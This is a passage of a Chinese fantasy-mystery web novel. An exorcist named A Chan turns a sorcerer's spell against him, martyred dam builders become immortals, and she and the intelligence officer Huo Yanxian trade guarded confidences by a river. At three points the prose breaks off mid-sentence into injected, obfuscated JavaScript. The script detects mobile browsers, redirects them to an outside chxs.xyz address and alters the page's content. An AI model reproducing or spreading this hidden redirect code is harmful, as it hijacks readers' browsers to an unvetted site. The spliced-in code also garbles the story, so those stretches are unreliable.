阿婵要在妖道施法之时,第一时间感应到众鬼的移动方位和阵型排布,结合刚才她在和霍彦先并肩跑动时,心中反推出的众鬼的命格八字。 没错,阿婵现在要将妖道正在施行的术法,全部反向催动。 她要让众鬼怎么把火药搬来的,就怎么搬回去,给妖道送一个大大的见面礼! 正常施法对于阿婵来说并不难,难的是,要在极短的时间内倒行逆施,这完全属于她自创的,就连她师傅也没有进行过如此逆天的法术,估计见了她又要把她劈头盖脸一顿骂。 这就是为什么她跑动之时不能分心射击灶火妖,因为这个推算必须分毫不差,才能确保施法万无一失。 一共十二道符箓凌空飞至阿婵身边,看样子,这次妖道是豁出去了,同时把五鬼搬运法和鬼役浑天法都用上了! 既然玩这么大,那就好好享受吧! 此时阿婵口中念诀,额头微微冒汗,待十二道符箓飞驰而至,在空中自动形成一个阵列,阿婵伸出手指左点右画,符箓瞬间按照她的排布重新列阵。 身侧,灶火妖找到了引燃点,正在嗡嗡嗡地撅着屁.股努力钻入堤坝内部,试图引燃掺藏在其中的火药。 就在这一瞬,阿婵放弃了匕首,足尖踏在堤坝侧面借力一跃,直接凌空踏上十二道符箓。 每一张泛着金色光泽的符箓,仿佛一块悬空的金砖,不断变换方位,让阿婵在空中得以踏出罡步,同时反向催动五鬼搬运法和鬼役浑天法。 阿婵脚踏罡步,衣袂纷飞,面对着堤坝,伸出双指向着灶火妖所在的地方轻轻一点、一提,仿佛将什么东西轻而易举地挥了出去。 火药从哪儿搬来的,就搬回哪儿去吧! 围观的百姓还不知道发生了什么,但见阿婵凌空踏月的情景,好像见到了神女一般,不由得震撼感叹。 只是他们突然觉得堤坝轻轻一阵震动,正在分辨到底是不是幻觉,就听得“轰——”的一声震天巨响,把所有人震得几乎站立不住。 那是富州城东北边非常偏远的一处无人荒山,此刻火光冲天,几乎半座山都被炸上了天! 30. 与天道的交易 这一炸过后,堤坝却似乎又恢复了平静。 阿婵冷眼看着被炸飞的半座山,看来妖道是将巨量火药藏在了那座荒山之中,怪不得连绣衣察事司都没能发现。 这下目标够明显了吧,霍彦先在全城布防的绣衣监侯、暗侯都不需要发信号,照着火光就可以直接去抓人——如果那个妖道还没被炸成烟花的话。 与此同时—— 都督府的停尸房中,陈怀思的尸体无故膨胀爆炸。 大牢之中,陈富仲突然口吐鲜血,七窍流血,继而全身鼓胀爆炸,血肉溅了隔壁两个牢房的冯鹤延和谭胥生一头一脸,二人差点吓晕过去。 江边,被爆炸声吓得跑出来看到底发生了什么事的百姓突然发现,水上浮起了十二具尸体。 而阿婵,催动十二道符箓下行至江面,还得去水里捞霍彦先。 *** 霍彦先自塔上坠落,看到的最后一个画面,是阿婵一袭白衣凌空踏上蛛丝桥。 那画面震撼且如梦似幻,就像在仙昙村第一次见到阿婵以一己之力将鱼妖从天雷劫下救出时一般,强大到不真实。 下坠之时,他只有一个念头——以阿婵的实力肯定不会被炸成烟花,那自己英年投江就十分可惜,他心头最重要的一个谜团还没有查清楚。 真是死不瞑目啊。 带着死不瞑目的遗憾,霍彦先头朝下掉进了江中,虽然已经做好了防护江水冲击的姿势,同时调整了内息,但他身上内伤没好透,还是被水面的巨大张力冲击得晕了过去。 在水中紧张待命的江伥,是看着霍彦先一路在岸上追踪灶火妖,并从塔上坠落的,但见阿婵踏上蛛丝桥,心说应该没自己的事了,转而赶紧去营救霍彦先。 很兴奋!很紧张!自从他在战场上为救同袍断了腿,被迫退伍还乡之后,已经很久没有这种和同袍一起并肩作战的感觉了! 江伥兴冲冲地踏浪到霍彦先身边,将他捞出水面,看他晕得不轻,便把他拖到了江边的船上,给他输送精气理顺内息。 江伥修为比较精纯,霍彦先内力也比较深厚,虽然伤没好透,但不多时便有了意识。 随着一声巨响,霍彦先彻底被震醒。正赶上江伥双目圆睁,看着远处被炸掉一半的荒山火光冲天,拍着仅剩的一条大.腿叫好:“干得漂亮!” 江伥太过兴奋,看见霍彦先转醒,想也没想,下意识给霍彦先来了一个军中庆祝胜利的击掌动作。 霍彦先醒了但没完全醒,看着江伥,心头突然幻视了记忆中那个二十出头意气风发的少年将士,头脑还没反应过来,手已经伸了出去,迎着江伥击了一掌,又击了一下手肘。 动作结束,两人都愣住了。 “行啊兄弟,上过战场!”江伥沉默一瞬,忽然更兴奋了,大力拍着霍彦先的肩膀,好似真的看到了同袍,力道太大,霍彦先一口气没上来,猛烈地咳嗽着。 “对不住,对不住,太久没有看到同袍了哈哈哈!”江伥说着,忽又大力向霍彦先身后挥手:“在这儿呢,在这儿呢!” 霍彦先一阵猛咳平息,顺着江伥的视线看去,便看到炸完山头结束战斗的阿婵,踏着十二道金色符箓,从堤坝侧面乘风踏浪而来,发丝裙摆随风飞扬,翩若惊鸿。 “霍大人,没死呐!”阿婵笑眯眯稳稳停在船上,收了符箓。 “……” 霍彦先没好气地翻个白眼,心说这惊鸿要是个哑巴多好。 两人一番沟通休整,见危机已平息,阿婵便要扶霍彦先上岸,但看到岸边围了一.大圈人在指指点点,阿婵懒得划船,江伥便用浪将他们的船推到附近。 原来是十二具尸体浮上水面,围观群众又震惊又害怕又要看。 其中三具是官府已查出的溺亡案死者,另外有七具应该是陈富仲专门为鬼役浑天法害死的,还有两具是为了凑够五鬼搬运法召唤来的魂魄原主,不知道是谁,这下也浮出了水面,留待官府继续调查确认身份。 “看这情况,是妖道、陈富仲和他儿子都已遭到反噬,这些被害者解除了符咒的束缚,因此尸身才能上浮。”阿婵扶着霍彦先上岸,在他耳边说。 “还少两具。”霍彦先看着尸体,看衣服,没有林慎之和伍幔青。 阿婵说:“他们的尸身应该还嵌在堤坝里。” “为什么?他们的执念不是完成了吗?”霍彦先问道。 “这是与天道的交易。” “交易?” 阿婵点点头:“林慎之和伍幔青应该是用自己投胎转世的机会,换取了守护堤坝的能力,这是他们与天道做的交易,从此之后,都得留在堤坝里,生生世世无法转世投胎。” “会变成江伥那样吗?自由一点?” “不会,只能留在堤坝里面。” 霍彦先沉默,善良的人选择牺牲,但不代表他们就该牺牲到如此地步。 阿婵忽然问:“霍大人,你想不想帮帮他们?” 霍彦先闻言一愣:“怎么帮?” *** 几乎只过了三个时辰,第二天天刚亮不久,整个富州城便都知道林慎之和伍幔青是被冯鹤延、陈富仲、谭胥生联合谋害,洗脱了水利工程贪墨、畏罪潜逃的罪名。 不仅如此,是他们二人死后放弃转世投胎的机会,依旧倾尽全力守护堤坝,这才使得陈富仲和妖道两次密谋决堤都始终没能造成大规模的伤亡。 他们死后依旧选择守护堤坝的壮举,令全城百姓动容,大量百姓自发赶到江边,为二人烧香祈福。 富州城的百姓最为敬重鬼神,尤其是拯救黎民于水火的英雄人物。 因此,虽然此刻富安佛塔坍塌殆尽,但沿江两岸香烟缭绕,百姓们自发点灯祈福,纪念林伍二位英雄。一时间,香火之盛,竟更胜于佛塔犹在之时。 阿婵也设了一个祭坛,为林慎之、伍幔青二人祭奠祈福。 有人认出阿婵就是刚才在堤坝“凌空飞舞的仙女”,众人瞬间将阿婵包围起来。 阿婵废了九牛二虎之力,才说服大家安静下来,给众人讲她是如何在水下看到林慎之、伍幔青用尸身封堵决口的壮举,本就动人的事迹,再加上阿婵舌绽莲花的精彩描述,直听得围观百姓眼泪汪汪。 其中哭得最大声的,当属牡丹花妖,山头爆炸之后,她已经从堤坝东侧赶回来了。 听着阿婵的讲述,想着她的林郎和伍娘子,竟以一介凡人之躯,做出如此伟大的举动。 不愧是她看上的人! 她哭得更大声了。 后来阿婵号召百姓为林伍二人祈福,大家行动力满满,一传十十传百,一时间,附近百姓几乎都来到江边为二人祈福。 祈福进行得如火如荼,阿婵好不容易才脱身,找到了霍彦先。 “多谢霍大人为他们正名。” 阿婵本以为霍彦先只是会发个公告,没想到他竟大张旗鼓发动富州城全部绣衣行走,想办法为林伍二人做宣传。 看看江边熙熙攘攘前来祈福的人群,就知道绣衣察事司散播消息的搞事能力不容置疑。 “这些是他们应得的。”霍彦先也到阿婵摆放的祭台前上了香,郑重地拜了三拜。 而阿婵和霍彦先也很清楚,这么多人亲自前来,绝不仅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“啊?怎么了这是?!”众人大骇。 “别担心,是大家强烈的祈愿,让天道为之动容,林慎之、伍幔青已历劫成功,得道成仙。”阿婵面上终现笑容。 此时,林伍二人的尸身已经不知为何,被送至江岸,霍彦先和阿婵与众人合力,将二人捞起。 只见林伍二人的尸身,依旧面目平和,栩栩如生,丝毫没有死后腐烂变形的迹象。 “是真的神仙啊!”忽然有人喊道。 这是百姓亲眼见证的神迹,甚至有人已经开始跪拜,还有的大呼应该为二人树碑建庙,一时间群情激动,江边更加热闹非凡。 牡丹花妖默默在林伍二人的尸身边守着,肿着双眼,激动得又哭又笑。 怪不得林郎和伍娘子总跟她唠叨要多做好事,他们肉.体凡胎,竟比她还提早修成正果,她就说嘛,林郎早晚会成为话本里那种顶天立地的大英雄的!伍娘子也是,顶顶好的大英雄!她的眼光一向绝顶的好,呜呜呜…… “这难道就是,你说的帮忙?”霍彦先震惊看向阿婵。 阿婵灿然笑道:“这是林伍二人最后要经受的考验。百姓的愿力是很强大的,这样与天道做交易,很公平。” 林慎之、伍幔青执意拯救黎民百姓于水火,百姓自发用愿力托举二人得道成仙。 善意从来都应该是双向的,不该被辜负。 31. 看不透 此后几天,富州城恢复了往日的生机,但都督府这边还有很多繁琐细碎的事宜需要处理。 江伥索命溺亡案、细作水利贪墨案、粮食贪墨案的三起案件凶手陈富仲、冯鹤延、谭胥生,以及富州都督府衙涉嫌参与贪墨的下属官吏、涉嫌参与粮食贪墨的各大粮商,均已捉拿归案。 陈怀思、陈富仲已于狱中死亡。 至于妖道,煜王晁元肇在听闻荒山被炸的第一时间,就按照和霍彦先之前的部署,由杨奉安牵头,调兵谴将去抓人。 爆炸造成的大火平息后,他们在深山的一个石砌房屋中,找到一些支离破碎的烧焦人骨,以及铜制法器和祭坛的残片、牛羊牲牺的骨骼碎片,应该是妖道用以调制火药配方的用具,和施行五鬼搬运法、鬼役浑天法的祭坛。 荔南江岸边先前浮上的十二具尸体,和林慎之、伍幔青的尸身,经过仵作查验,死因与犯人的口供都对得上,其中两具无名尸是街边的乞丐,因此失踪也无人在意,但天网恢恢,真凶最终伏法。 冯鹤延等涉贪墨案重犯和朔勒细作谭胥生需等待押解回桓安,交由圣人再行审判。 还有一件重要的事情,因为冯鹤延和下属涉事官吏已经被抓,他们的职位空出来等待补缺,需得上报朝廷,细细斟酌后再做定夺。 所以煜王和霍彦先目前仍留在富州城没走,于府衙之中挑出临时班底暂代府衙之职,由他们进行监督。 煜王晁元肇虽然很累,心情倒是不错。 粮食贪墨案真相查清,揪出冯鹤延这种朝廷蠹虫。此外,他一直惶恐两次决堤会让他在父皇心中变成中看不中用的绣花枕头,如今查出来,不仅不是他的过错,还顺带查清水利工程贪墨,并且揪出一个朔勒细作,料想父皇不至于怪罪于他,兴许还能挣点脸。 据说霍彦先已经第一时间密报上奏,朔勒方面目前形势暂缓,父皇那边传讯的口吻温和,还带着点多亏他们及时查出细作,让朔勒不敢轻举妄动的欣赏意味。 晁元肇悬着的心终于放下。 霍彦先一边养伤,该处理的案件后续倒是一点也没落下,只是煜王体恤他还没恢复好,强行减轻他的工作量,每天天一黑就让杨奉安赶他回去休息。 绣衣察事司驻富州城的秘密据点内。 “大人,煜王殿下说您该回去修养了,这些不急,明天再说吧。” 杨奉安把霍彦先桌上一堆标记为非急报的卷宗挪走,试图阻止霍彦先继续办公。 霍彦先手中拿着密报,头也不抬:“阿婵曾在西北安密镇出现过一次,煜王每年都会去安密镇,去查查他们之间有无交集。” 杨奉安:“大人还在怀疑阿婵娘子?可是她刚与大人一起破了这么多案子……” 霍彦先似乎很是疲惫:“谈不上怀不怀疑,只是既然他们之间有交集,每个线索都不要放过。” 经过昨晚的联手,他确实不太怀疑阿婵是朔勒细作这件事,但密报突然查到她和煜王都曾出现在西北安密镇,联想到煜王看她那不寻常的眼神,他总觉得哪里怪怪的,还是查一下比较安心。 他又拿起一件卷宗,“平海镇的情报只有这些?” 杨奉安道:“目前煜王殿下在平海镇的行踪只有这些。” “但从之前煜王跟平海镇节度使卫琛的往来书信来看,他们之间的关系并不寻常,叫他们继续查。” “是大人,我一定叫他们掘地三尺也把猫腻挖出来,您先回去休息吧。” 霍彦先恋恋不舍地放下卷宗走后,杨奉安总算舒了口气。 这煜王殿下要是知道,他前脚体恤霍大人一个劲儿让他回去休息,后脚他家大人却一个劲儿调查自己在平海镇的行踪,不知道心理该是什么滋味。 不过平海镇节度使最近总有一种蠢蠢欲动的感觉,若是真有心谋反……哦!怪不得他家大人一开始从桓安出发、跟煜王分道扬镳之后就警惕起来! 杨奉安一拍脑门,亏那时候自己还肤浅地以为大人是为了怕煜王抢贪墨案的功劳,才让他“甩尾巴”,自己真是蠢啊! 至于阿婵娘子,唉,多好一个人呐,但愿跟煜王啥关系也没有! 还是继续查吧,杨奉安认命地回去给安密镇和平海镇的绣衣暗候传递消息。 *** 霍彦先被杨奉安掐着点赶出秘密据点,危机过后,城中平静,竟让他有一种百无聊赖、无所事事的空虚感。 他赶紧晃了晃脑袋让自己“清醒”一下,享受这难得的清闲。 沿路走回居所时,他看见街边百姓都在“补过端午”。 端午时在闹水患,粽子也没吃上,这几天大家缓过劲来,才又热热闹闹地挂上艾草、包上粽子、喝上雄黄酒。 苦日子里也要找点甜,这就是老百姓的可爱之处。 霍彦先路过酒摊,被香气吸引,虽然有伤在身,但也忍不住买了一小壶。 回到居所后,他坐在窗边,一个人自斟自饮。 雄黄酒夹杂着艾草的气息,萦绕在霍彦先鼻尖,他忽然就想到了二十岁那一年,也是端午。 那是十年前,他和挚友杜时衡一起,刚刚打赢了一仗。圣人御赐葡萄美酒,将军分给他们这些普通小兵。 他和杜时衡赏月喝酒,夸下海口,要成为热血男儿,保家卫国、建功立业。 只是没想到,两人酒壶这一撞,竟成殇。 那竟是他们最后一次月下同饮。 过了仅仅一个月,他因获取重要情报,帮助圣人平定东林镇节度使的叛乱,被圣人赏识,调入绣衣察事司。 同时西北边境朔勒来犯,那时刚因战功获得封赏的杜时衡,被圣人委派带领精锐搞突袭战,而他配合杜时衡获取情报。 他拼死拼活搞来了情报,差点重伤不治,鬼门关转了一圈,醒来却听闻战场传来噩耗,杜时衡因贪功冒进,率领军队,误中敌军埋伏,身死沙场,造成大桓五千精锐力量全部覆灭。 那一战规模虽小,却损失惨重,朔勒由此猖獗,圣人震怒,全国讨伐杜时衡。 杜家人却指着霍彦先的鼻子,骂他给的是假情报。 他难以置信,百思不得其解。杜时衡虽然少年轻狂,但绝不是贪功冒进之人,他认为一定是情报传递中发生了什么谬误。 杜时衡若是拿到情报,不可能不知道敌军会在据边关一百里处设伏,还贸然进入敌军包围圈。 虽然圣人最后显然是相信他的,甚至钦赐他龙首金杖以示器重,堵住了杜家人的嘴,还派他执行越来越多重要的秘密任务。 但此后十年,他时常夜不能寐,心中这个结始终放不下。 从此,他对情报传递的准确性要求几乎是苛刻,不止折磨自己,手下司众也叫苦连天,连绣衣总察事都数次劝他不要太过吹毛求疵,但他始终不能放过自己。 到底是什么导致杜时衡全军覆没?真的是他情报传递出了问题吗?可那一战极其惨烈,战火烧毁了一切,连送情报的绣衣暗候也没能回来,真相至今还被掩埋在朔勒的黄沙之中。 心头苦闷,霍彦先又斟一杯酒,向窗外看去,他的住处可以看到江边风景。 他忽然想起,那日江伥救他,与他击掌,那时他便将江伥幻视成杜时衡。 思及此,霍彦先觉得还没有好好感谢江伥的救命之恩,反正无事可做,于是便出门,到酒楼买了两瓶千里迢迢从桓安运过来的桓安玉浮梁,打算送到江边请江伥喝。 虽不为同袍,但为国为民战场厮杀的血性和意气是相通的,他也很敬重江伥。 他沿着江边一直走,不知道怎么才能找到江伥。 除非它自愿现身,或者阿婵让牡丹花妖帮忙召唤它,否则霍彦先自己是见不到的。 走着走着,不知怎的,就看到了阿婵。 她正看着百姓们计划给林慎之、伍幔青二人捐资建庙。 见到真神仙之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14971736|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,大家就像打了鸡血,没两天时间,庙祠地址已选好,虽然内部装潢还没搞定,但临时先搭了个供奉二人的祭台,四面八方前来上香捐资的百姓将不小的一间庙祠挤得水泄不通。 阿婵就在江边,远远地看着,不打扰,不参与。 有种疏离的感觉。 听到脚步声,阿婵转身:“霍大人,好巧啊!” “你在这里做什么?” “捉妖啊。” “还有妖怪?!”霍彦先皱眉。 “不然大人以为我为什么会千里迢迢从仙昙村赶到这里来,自然是为了捉妖啊。” “我还以为你是为了水患而来的。” “哪里哪里,我忙得很,只是赶巧了。” “……” “那霍大人来这里做什么?这几天公务不忙了?” “来找江伥,感谢它的救命之恩。但我不知道怎么才能见到它,或许你能帮我……” “啊,大人来晚了,江伥刚才已经喝了我给的酒,呼呼大睡去了,他貌似不太能喝啊,你得等他醒来呢。” 霍彦先看着手中的酒,颇为无奈:“那就请你喝吧,上好的桓安玉浮梁,别浪费。就当是补过端午,顺便庆祝我们此次江伥水患案合作愉快。” 阿婵也不推拒,接过酒深嗅一.大口,喜笑颜开:“真是好酒啊,比我买的宜丰烧春还好!” 二人就这样坐着,霍彦先看着江面发呆等江伥,阿婵盯着庙祠里的动静,两人各怀心思,也不说话,只是这样沉默地坐着。 良久,直至夜明星稀。 林伍二人的庙祠中已经没有人了,但香火未歇。 忽然间一道黑影窜过,霍彦先只觉身边一空,再看阿婵已经离弦箭一般飞身冲到庙祠祭台前,三下两下便抓到了什么。 “这次还抓不住你!”阿婵从随身背囊中拿出一个贴满符箓的小锦袋子,将吱哇乱叫挣.扎的焰炁饕妖装进去。 它小小一只,身上缠满了阿婵在庙祠中事先布下的陷阱符箓。 阿婵取出三支高香,给林慎之和伍幔青二人上了香,郑重拜了拜:“二位神仙功德无量,多谢多谢!” 霍彦先颇不意外地看着阿婵这一通行云流水的操作,是她一贯的作风。 心中再次默默感叹,真是个绣衣察事司的天选人才,可惜啊可惜。 阿婵心情颇好地回到霍彦先身边,喝了一.大口酒,感叹道:“总算没白跑,这几个月过得真是……唉……就为了这个小家伙。” “是什么?” “焰炁饕妖。”阿婵给霍彦先展示了一下,然后又哄一哄龇牙咧嘴的焰炁饕妖:“别气别气,只是借你的涎水用一用,用完就放你自由。” 霍彦先看着焰炁饕妖,身子细头更细,一双小眼劈着叉,怪模怪样,心中称奇,在阿婵这里总能见到世间罕见的奇特妖怪,自己也算是长见识了。 “它的涎水能做什么?” “祛除胎记。” 看霍彦先不解的眼神,阿婵解释道:“大人你不懂,人都有爱美之心,尤其是女子,胎记若是长在头脸显眼处,可能会给人搞出心病来的。” 霍彦先了然点头:“又能大赚一笔。” “大赚特赚。”阿婵眼睛笑成两道月牙,“毕竟,心病是天下最贵的病。” 虽然她总摆出一副贪钱奸商的嘴脸,霍彦先看到的却是她的笑不达眼底,但又看不懂深处更复杂的情绪到底是什么。 出于试探,霍彦先便问:“那么捉妖、星占、治病哪个更赚钱?” “大人,不是这么论的,难度不同,价钱也不同。” “哪个更难?” 阿婵闻言,沉默一瞬,认真思考,而后答: “病症难治,不及妖鬼。妖鬼难觅,不及星辰。星辰难测,不及人心。” 周围无人,夜空寂静,阿婵的声音清清灵灵,一字一句敲打在霍彦先的心上。 32. 互相试探 “捉妖、占星终归只是方法不同,大人你问哪个更难,其实,揣度人心最难。人心变幻莫测,需求千回百转,价钱自然也千变万化。”阿婵神色沉静,眸光潋滟。 霍彦先深深地看着阿婵,现在的她很不一样,与人前人后都不一样。 平日里在人前,阿婵总是一副“道貌岸然”的样子,当然不是说她虚伪,而是一副“我很靠谱,收钱办事,童叟无欺”的玄学高人模样。 可在人后,如阿婵刚刚一个人在江边的时候,霍彦先又总觉得她有一种骨子里透出的疏离和冷漠,好像和周遭所有人景事都有一层隔阂,融不进去,遗世独立。 之前在仙昙村,霍彦先好几次无意中看到阿婵一个人独处时,都是这种感觉。 可当阿婵面对他的时候,整个人又会变成现在这样,像他初见她的那晚,眼睛亮亮的,有一种野性难驯的狡黠,言语犀利,机锋冷峭。 但整个人周身的气质却又如深潭,是沉静的,许多秘密和复杂的情绪隐藏其中,层层叠叠,云遮雾罩。 她明明擅于伪装,可以隐藏起来,此刻却毫不遮掩,就这样直白地暴露给他,让他读。 霍彦先在绣衣察事司搞情报多年,一.大职业习惯就是阅人,可饶是他阅人无数,阿婵也是为数不多令他不能一眼看透的角色,因此他不由自主会想要保持警惕、保持距离。 可矛盾的是,每次和阿婵一起调查案件的时候,又会觉得她在想法以及做事风格方面和自己有一种不需要过多言语的默契。 常常对方一个眼神,就已经心领神会,而每在危急关头,她在自己身边,竟有一种当年和杜时衡一起并肩作战,驰骋沙场的快.感。 或许,自己对于她的防备之心是过于严苛了? 霍彦先不止一次两次反思过这个问题。 因为他觉得,阿婵至少不该是奸恶之徒,至于她身上那股复杂难辨的气息,暂不论是什么,至少现在看来是无害的,他这样的防备,对于和自己两次合作破案的阿婵来说,似乎有些不公平。 正想着,阿婵却又换上一副溜须拍马的戏谑口吻:“当然啦,人心难测,霍大人在绣衣察事司肯定比我见识过更多更复杂的人性,比起大人你这种宦海沉浮的人间精英来说,我肯定是小巫见大巫啦。” 又开始满嘴乱跑马,霍彦先内心翻了个白眼。 但今日难得风平浪静,心情很好,破天荒地与她互相吹捧:“哪里哪里,万一以后你真的入了司辰局,咱们也算是同僚了。” “大人说笑了,司辰局可不是随随便便能进的,我还是老老实实继续努力,争取当天下第一捉妖人就好了。”语气笃定,仿佛未来肯定能当上。 “你现在捉妖已经挺厉害了。” “还不够,还要更强。”阿婵忽然敛了神色,转头看向佛塔废墟:“大人可否有过那种明明想救一个人,却因为你不够强,近在咫尺,却只能眼睁睁看着他白白丢掉性命的感觉吗?” 霍彦先闻言一愣,随着她的目光看去,有些犹疑,但还是开口问道:“之前发生过什么事情吗?这座佛塔似乎令你感触颇深?” 阿婵语气幽幽:“很多年以前,我曾亲眼目睹我最好的姐妹,从高处坠下,已经过去了很久,但还是不能释怀。如之前的杜娘子和大人你从佛塔下坠时,都令我感觉重现了当日的惨烈。” 霍彦先有些意外和惊讶,他本以为阿婵的秘密不会轻易外露,没想到她就这样将她内心深处的伤疤剖开来,给他看。 这样的直白,对于他这种探查秘密从来都需要经历重重曲折和险阻的情报头子来说,竟还有些不适应。 “还要谢谢霍大人你。”阿婵依旧望着佛塔,口中却对霍彦先说道:“不然第一次决堤那天晚上,我可能就会不顾一切地冲进江中。” 霍彦先看到阿婵眸中点点闪烁,轻声说:“她一定是个很好的人,值得你那样奋不顾身地去保护她。” 阿婵低下头,发丝垂下,掩住她眼中的愧疚和痛苦。 是啊,阿菀那么好,我却没能护住她…… “能不能……问大人一个很冒犯的问题?”阿婵小心翼翼地说。 “你问。” “大人那天从佛塔废墟上坠落,最后一刻,脑海里在想什么?” 霍彦先愣了一瞬,没料到她会问这个问题,眼前浮现那具战场上被发现的遍体鳞伤的尸身,心中酸涩。 “是遗憾。还有一个关于友人的谜团没解开,若就这样死了,我死不瞑目。”霍彦先投桃报李,也没有过分遮掩。 “可以说说吗?” “抱歉,不能。” 阿婵讪笑,“抱歉,我还以为我们已经算朋友了。” 霍彦先沉默一瞬,低声苦笑:“我的朋友可不好做。” “自然是,我这种刁民自然是高攀不上大人做朋友的。” “不是这个意思,只是……做过我朋友的,都已埋骨荒野……”霍彦先语调中不带一丝戏谑。 听到“埋骨荒野”,阿婵心头猛地一跳。 “若是我足够命硬呢?” 霍彦先笑了,但他的眼神已经告诉阿婵,不想再继续这个话题。 阿婵只好做罢,他们之间的关系显然没到那个地步。 霍彦先的遗憾是什么呢?这个友人的谜团,是否和十年前那个林中的夜晚有关?与她父亲有关? 二人各自怀揣不能为外人道的秘密,陷入沉默,半晌,气氛变得尴尬。 还是阿婵率先打破了沉闷,她面上又牵出一丝笑容:“还要谢谢霍大人你。” 霍彦先不解:“谢什么?” “谢谢大人你那天从塔上摔下没死在江中,没让我再经历一遍熟悉的人在眼前死去的场景。 你看我这次没有再情绪失控,还顺利完成了从没用过的逆施鬼役浑天法,又突破了一个进境。” 阿婵换上普天之下最诚挚的目光,冲着霍彦先,竖起了大拇指:“多亏了大人你,经此一役,我感觉我又变强了!感觉距离我成为天下第一捉妖人又近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14976929|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一步,多谢霍大人!” “……”霍彦先感到深深的疑惑,如此伤感的氛围,阿婵为什么总能话锋一转,说出一些他接不住的话。 煞风景,她是专业的。 忽然身后水花巨大,险些溅了两人一身,霍彦先忙拉着阿婵躲开。 原来是江伥在水中歪七扭八地踏浪到岸边。 霍彦先皱眉:“它这是怎么了?” “喝醉了呗。”阿婵无奈。 “不是只喝了一瓶宜丰烧春吗?”霍彦先感到惊奇,江伥不是很爱喝酒?就那一小瓶,都不够他塞牙缝的。 只见江伥寻着霍彦先放在江边的那瓶桓安玉浮梁散发的酒香而来,拿到之后迷离的眼神绽放光芒,拔开瓶塞,醉醺醺地嘟囔着: “你们这些活人真是麻烦,活着的时候忧愁这个忧愁那个,烦恼这个烦恼那个,幸好我已经死了,还是今朝有酒今朝醉吧,我先干为敬。”说着,一口气全喝了。 “好酒、真是好酒、好……”话音未落,咕咚一声,江伥又沉入水底,半晌又浮起来挣.扎,又翻入水底,半晌又挣.扎浮起,浮浮沉沉,嘴里还喊着:“酒、再来、再来……”。 “又菜又爱喝。”阿婵叹气道,“可算知道他为什么会跌进水里变成江伥了。” 这酒品,真是浪费好酒了,霍彦先满脸嫌弃,身边却递过来一个酒瓶,是阿婵。 “大人,月尚有盈缺,人岂能无憾,问心无愧即可,大人你说是吧?” 阿婵喝了一口霍彦先请她的酒,反过来递给他,目光灼灼看着他,希望能从他的目光中探究些什么。 阿婵眼中映着莹莹月华,很是能让人一眼便沉溺其中,但霍彦先侧头避开了,抬起头看着天际。 “今晚月色不错,别辜负明月。”他接过酒瓶一口干了。 “好,不辜负明月。” 霍彦先仰头喝酒的时候,阿婵无奈地笑了一下,看来今夜的自剖心迹还不够令对方敞开心扉,时机尚未成熟,还得再等等。 不过,她最不怕的,就是等。 和霍彦先的提早相遇、再三相遇,在他面前的情绪失控,虽然都在她的计划之外,但这些“计划外”何尝不能为她所用。不管多久,费多少周折,她一定会让霍彦先说出当年的真相。 阿婵抬头看向那挂在天际的一轮清霜,还有点点星辰。 无数个日日夜夜,她伤心,悔恨,不甘,查探,失败,泄气,又爬起来,独自踏着月色继续前行,她都这样安慰自己,她不是孤身一人,还有明月星辰相伴。 那些隐藏在黑暗苍穹之下,罪恶的人和事,她一定会掀开一道缺口,一个一个,连根拔起。 但这其中,也会有他么? 她眼角瞟向霍彦先,他只顾埋头喝酒,似乎想把自己灌醉来逃避她的探究。她笑笑,一把抢过酒壶。 二人各怀心思,你来我往喝起了酒,诡异而和谐。 身后,江伥还在醉酒沉浮。 两人一江伥,月波斜影长。 33. 托梦 山翠云卷,天影江浮。 这日清晨,难得晴朗,霍彦先和煜王晁元肇终于了结富州城的交接事宜,一.大早就打点行装,准备尽快返回都城桓安。 陈富仲已死。冯鹤延、谭胥生都是罪大恶极的重犯,死是免不了的,但还需押解回桓安,走完整个审判流程。 尤其是谭胥生,身为朔勒细作,更需细细审问,如果能盘问出更多关于朔勒的情报,对于圣人治理边患大有裨益。 霍彦先看煜王在马前等候时,一直四处张望,虽不明显,但瞒不过他的眼睛。 “煜王殿下可是还在等人?” “呃……那位闻寰居士,你们这么熟,没有来相送吗?” 霍彦先一愣,没想到他竟提到阿婵:“她有自己的事要忙,除了办案,我们倒也不是特别熟,不必相送了吧。” 晁元肇恍然,露出一种失望的神色,没再说什么,只是脑海中回想起那日她在江边施展法术惩治假江伥和谭胥生,以及凌空踏至堤坝的翩翩身姿,除了惊艳赞叹之外,还有些熟悉,但又不知道在哪里见过。 “殿下?” “没事……只是觉得莫名熟悉,想要走之前聊两句,既然她没来便算了,我们赶紧走吧……”晁元肇匆匆挽了缰绳上马。 霍彦先看他这幅魂不守舍的样子,不禁蹙眉。 阿婵之前见到煜王的时候,在他面前神色如常,并没表现出什么不同,但煜王对阿婵的态度,显然有些特殊。 